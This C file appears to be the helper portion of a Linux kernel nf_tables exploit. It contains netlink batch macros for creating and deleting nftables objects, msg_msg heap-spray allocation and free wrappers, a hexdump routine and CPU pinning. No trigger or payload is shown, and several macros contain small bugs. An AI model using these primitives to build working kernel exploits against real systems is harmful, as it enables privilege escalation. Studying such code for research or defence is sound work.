#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sched.h>
#include <sys/msg.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netlink.h>
#include <libmnl/libmnl.h>
#include <libmnl/libmnl.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/expr.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/object.h>

#define error(msg) do { \
    perror("\33[2K\r[-] " msg); \
    exit(EXIT_FAILURE); \
} while (0)

#define error_s(msg) do { \
    printf("\33[2K\r[-] " msg); \
    exit(EXIT_FAILURE); \
} while (0)

#define info(msg, ...) \
  printf("[*] " msg "\n" __VA_OPT__(,) __VA_ARGS__)

#define progress(msg, ...) \
  printf("[ ] " msg __VA_OPT__(,) __VA_ARGS__)

#define done() printf("\0337\r[+]\0338: done\n")
#define success() printf("\0337\r[+]\338: success\n")

uint32_t seq = 123456;

#define BATCH_BEGIN(batch, buf, buf_sz) \
  do { \
    batch = mnl_nlmsg_batch_start(buf, buf_sz); \
    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); \
    mnl_nlmsg_batch_next(batch); \
  } while (0)

#define BATCH_END_SEND(batch, nl) \
  do { \
    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); \
    mnl_nlmsg_batch_next(batch); \
    int ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), \
        mnl_nlmsg_batch_size(batch)); \
    if (ret < 0) { \
      error("mnl_socket_sendto"); \
    } \
    mnl_nlmsg_batch_stop(batch); \
  } while (0)

#define NEW_TABLE(batch, nlh, table) \
  do { \
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), \
        NFT_MSG_NEWTABLE, NFPROTO_IPV4, \
        NLM_F_CREATE | NLM_F_EXCL, seq++); \
    nftnl_table_nlmsg_build_payload(nlh, table); \
    mnl_nlmsg_batch_next(batch); \
  } while(0)

#define DEL_TABLE(batch, nlh, table) \
  do { \
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), \
        NFT_MSG_DELTABLE, NFPROTO_IPV4, \
        0, seq++); \
    nftnl_table_nlmsg_build_payload(nlh, table); \
    mnl_nlmsg_batch_next(batch); \
  } while (0)

#define NEW_CHAIN(batch, nlh, chain) \
  do { \
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), \
        NFT_MSG_NEWCHAIN, NFPROTO_IPV4, \
        NLM_F_CREATE | NLM_F_EXCL, seq++); \
    nftnl_chain_nlmsg_build_payload(nlh, chain); \
    mnl_nlmsg_batch_next(batch); \
  } while (0)

#define NEW_RULE(batch, nlh, rule) \
  do { \
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), \
        NFT_MSG_NEWRULE, NFPROTO_IPV4, \
        NLM_F_CREATE, seq++); \
    nftnl_rule_nlmsg_build_payload(nlh, rule); \
    mnl_nlmsg_batch_next(batch); \
  } while (0)

#define DEL_RULE(batch, nlh, rule) \
  do { \
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), \
        NFT_MSG_DELRULE, NFPROTO_IPV4, \
        0, seq++); \
    nftnl_rule_nlmsg_build_payload(nlh, rule); \
    mnl_nlmsg_batch_next(batch); \
  } while (0)

#define NEW_SET(batch, nlh, set) \
  do { \
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), \
        NFT_MSG_NEWSET, NFPROTO_IPV4, \
        NLM_F_CREATE | NLM_F_EXCL, seq++); \
    nftnl_set_nlmsg_build_payload(nlh, set); \
    mnl_nlmsg_batch_next(batch); \
  } while (0)

#define NEW_SETELEM(batch, nlh, setelem) \
  do { \
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), \
        NFT_MSG_NEWSETELEM, NFPROTO_IPV4, \
        NLM_F_CREATE | NLM_F_EXCL, seq++); \
    nftnl_set_elems_nlmsg_build_payload(nlh, set); \
    mnl_nlmsg_batch_next(batch); \
  } while (0)

#define DEL_SETELEM(batch, nlh, setelem) \
  do { \
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), \
        NFT_MSG_DELSETELEM, NFPROTO_IPV4, \
        0, seq++); \
    nftnl_set_elems_nlmsg_build_payload(nlh, set); \
    mnl_nlmsg_batch_next(batch); \
  } while (0)

#define NEW_OBJ(batch, nlh, obj) \
  do { \
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), \
        NFT_MSG_NEWOBJ, NFPROTO_IPV4, \
        NLM_F_CREATE | NLM_F_EXCL, \
        seq++); \
    nftnl_obj_nlmsg_build_payload(nlh, obj); \
    mnl_nlmsg_batch_next(batch); \
  } while (0)

#define DEL_OBJ(batch, nlh, obj) \
  do { \
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), \
        NFT_MSG_DELOBJ, NFPROTO_IPV4, \
        0, seq++); \
    nftnl_obj_nlmsg_build_payload(nlh, obj); \
    mnl_nlmsg_batch_next(batch); \
  } while (0)

char msg_buf[0x2000];
struct msg {
  long mtype;
  char mtext[];
};

void msg_alloc(int msgqid, char *data, size_t size) {
  struct msg *msg = (struct msg *)msg_buf;
  msg->mtype = 1;

  size -= 0x30;
  memcpy(msg->mtext, data, size);

  if (msgsnd(msgqid, msg, size, 0) < 0) {
    error("msgsnd");
  }
}

void msg_free(int msgqid) {
  struct msg *msg = (struct msg *)msg_buf;
  if (msgrcv(msgqid, msg, sizeof(msg_buf)-8, 0, IPC_NOWAIT) < 0) {
    error("msgrcv");
  }
}

void hexdump(const void* data, size_t size) {
  char ascii[17];
  size_t i, j;
  ascii[16] = '\0';
  for (i = 0; i < size; ++i) {
    printf("%02X ", ((unsigned char*)data)[i]);
    if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
      ascii[i % 16] = ((unsigned char*)data)[i];
    } else {
      ascii[i % 16] = '.';
    }
    if ((i+1) % 8 == 0 || i+1 == size) {
      printf(" ");
      if ((i+1) % 16 == 0) {
        printf("|  %s \n", ascii);
      } else if (i+1 == size) {
        ascii[(i+1) % 16] = '\0';
        if ((i+1) % 16 <= 8) {
          printf(" ");
        }
        for (j = (i+1) % 16; j < 16; ++j) {
          printf("   ");
        }
        printf("|  %s \n", ascii);
      }
    }
  }
}

void set_cpu(int cpu_n) {
  cpu_set_t set;

  CPU_ZERO(&set);
  CPU_SET(cpu_n, &set);

  if (sched_setaffinity(0, sizeof(set), &set) < 0) {
    error("sched_setaffinity");
  }
}
